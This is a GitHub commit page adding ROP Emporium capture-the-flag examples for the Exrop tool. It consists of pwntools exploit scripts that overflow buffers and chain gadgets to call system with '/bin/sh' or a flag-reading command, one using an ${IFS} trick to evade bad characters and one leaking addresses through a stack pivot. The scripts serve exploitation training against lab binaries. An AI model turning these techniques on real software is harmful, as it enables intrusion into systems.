Skip to content
This repository has been archived by the owner on Nov 13, 2024. It is now read-only.

Commit

Permalink
add rop emporium example
Browse files Browse the repository at this point in the history
  • Loading branch information
d4em0n committed Feb 6, 2020
1 parent 626675e commit dc3737b
Show file tree
Hide file tree
Showing 22 changed files with 134 additions and 0 deletions.
Binary file added examples/rop_emporium/badchars/badchars
Binary file not shown.
17 changes: 17 additions & 0 deletions examples/rop_emporium/badchars/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
from Exrop import Exrop
from pwn import *

binname = "./badchars"
rop = Exrop(binname)
rop.find_gadgets(cache=True)
elf = ELF("./badchars", checksec=False)
system = elf.symbols['system']
print("system @ {:08x}".format(system))
chain = rop.func_call(system, ("head${IFS}?lag.txt", 0), elf.bss()) # hack to avoid badchar
#chain.dump()
buf = b"A"*40
payload = buf + chain.payload_str()
p = process("./badchars")
p.recv(1024)
p.sendline(payload)
p.interactive()
1 change: 1 addition & 0 deletions examples/rop_emporium/badchars/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added examples/rop_emporium/callme/callme
Binary file not shown.
1 change: 1 addition & 0 deletions examples/rop_emporium/callme/encrypted_flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
SMSA~gXxekhieactt`L''tnl|E}p|y>]!
22 changes: 22 additions & 0 deletions examples/rop_emporium/callme/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
from pwn import *
from Exrop import Exrop

binname = "./callme"
p = process(binname)
elf = ELF(binname)
callme_one = elf.symbols['callme_one']
callme_two = elf.symbols['callme_two']
callme_three = elf.symbols['callme_three']
rop = Exrop(binname)
rop.find_gadgets(cache=True)
chain1 = rop.func_call(callme_one, (1,2,3))
chain1.dump()
chain2 = rop.func_call(callme_two, (1,2,3))
chain2.dump()
chain3 = rop.func_call(callme_three, (1,2,3))
chain3.dump()
buf = b"A"*0x28
rop = chain1.payload_str() + chain2.payload_str() + chain3.payload_str()
pay = buf + rop
p.sendlineafter("> ", pay)
p.interactive()
2 changes: 2 additions & 0 deletions examples/rop_emporium/callme/key1.dat
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@


Expand Down
1 change: 1 addition & 0 deletions examples/rop_emporium/callme/key2.dat
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@

Binary file added examples/rop_emporium/callme/libcallme.so
Binary file not shown.
16 changes: 16 additions & 0 deletions examples/rop_emporium/fluff/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
from Exrop import Exrop
from pwn import *

binname = "fluff"
rop = Exrop(binname)
rop.find_gadgets(cache=True, add_opt="--depth 15")
elf = ELF(binname, checksec=False)
bss = elf.bss()
system = elf.symbols['system']
chain = rop.func_call(system, ("/bin/sh",), elf.bss())
chain.dump()
buf = b"A"*40
buf += chain.payload_str()
p = process("./fluff")
p.sendlineafter("> ", buf)
p.interactive()
1 change: 1 addition & 0 deletions examples/rop_emporium/fluff/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added examples/rop_emporium/fluff/fluff
Binary file not shown.
37 changes: 37 additions & 0 deletions examples/rop_emporium/pivot/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
from Exrop import Exrop
from pwn import *

context.terminal = "tmux splitw -h -f".split()
binname = "pivot"
p = process(binname)
rop = Exrop(binname)
elf = ELF(binname, checksec=False)
libpivot = ELF("./libpivot.so", checksec=False)
buf = b"A"*0x28
ret = 0x00000000004007c9 # for padding

rop.find_gadgets(cache=True)
puts = elf.symbols['puts']
footholdgot = elf.got['foothold_function']
foothold = elf.symbols['foothold_function']
main = elf.symbols['main']

p.recvuntil(": ")
pivot_addr = int(p.recvuntil("\n", drop=True), 16)

pivot_chain = rop.stack_pivot(pivot_addr, avoid_char=b"\x0a")
pivot_chain.dump()
chain2 = rop.func_call(puts, (footholdgot,))
chain2.dump()
pay = buf + pivot_chain.payload_str()

rop = p64(foothold) + chain2.payload_str() + p64(main)
p.sendlineafter("> ", rop)
p.sendlineafter("> ", pay)
p.recvuntil("libpivot.so")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, b"\x00"))
libpivot.address = leak - libpivot.symbols['foothold_function']
ret2win = libpivot.symbols['ret2win']
print(hex(libpivot.address))
p.sendlineafter("> ", buf + p64(ret) + p64(ret2win))
p.interactive()
1 change: 1 addition & 0 deletions examples/rop_emporium/pivot/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added examples/rop_emporium/pivot/libpivot.so
Binary file not shown.
Binary file added examples/rop_emporium/pivot/pivot
Binary file not shown.
16 changes: 16 additions & 0 deletions examples/rop_emporium/split/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
from pwn import *
from Exrop import Exrop

binname = "./split"
p = process(binname)
elf = ELF(binname)
catflag = next(elf.search(b"/bin/cat flag.txt"))
system = elf.symbols['system']
rop = Exrop(binname)
rop.find_gadgets(cache=True)
chain = rop.func_call(system, (catflag, 0))
chain.dump()
buf = b"A"*0x28
pay = buf + chain.payload_str()
p.sendlineafter("> ", pay)
p.interactive()
1 change: 1 addition & 0 deletions examples/rop_emporium/split/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added examples/rop_emporium/split/split
Binary file not shown.
17 changes: 17 additions & 0 deletions examples/rop_emporium/write4/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
from Exrop import Exrop
from pwn import *

binname = "write4"
rop = Exrop(binname)
rop.find_gadgets(cache=True)
elf = ELF(binname, checksec=False)
bss = elf.bss()
system = elf.symbols['system']
chain = rop.func_call(system, ("/bin/sh",), elf.bss())
chain.dump()
ret = p64(0x0000000000400806) # for padding
buf = b"A"*40
buf += ret + chain.payload_str() # ret for padding
p = process(binname)
p.sendlineafter("> ", buf)
p.interactive()
1 change: 1 addition & 0 deletions examples/rop_emporium/write4/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added examples/rop_emporium/write4/write4
Binary file not shown.

0 comments on commit dc3737b

Please sign in to comment.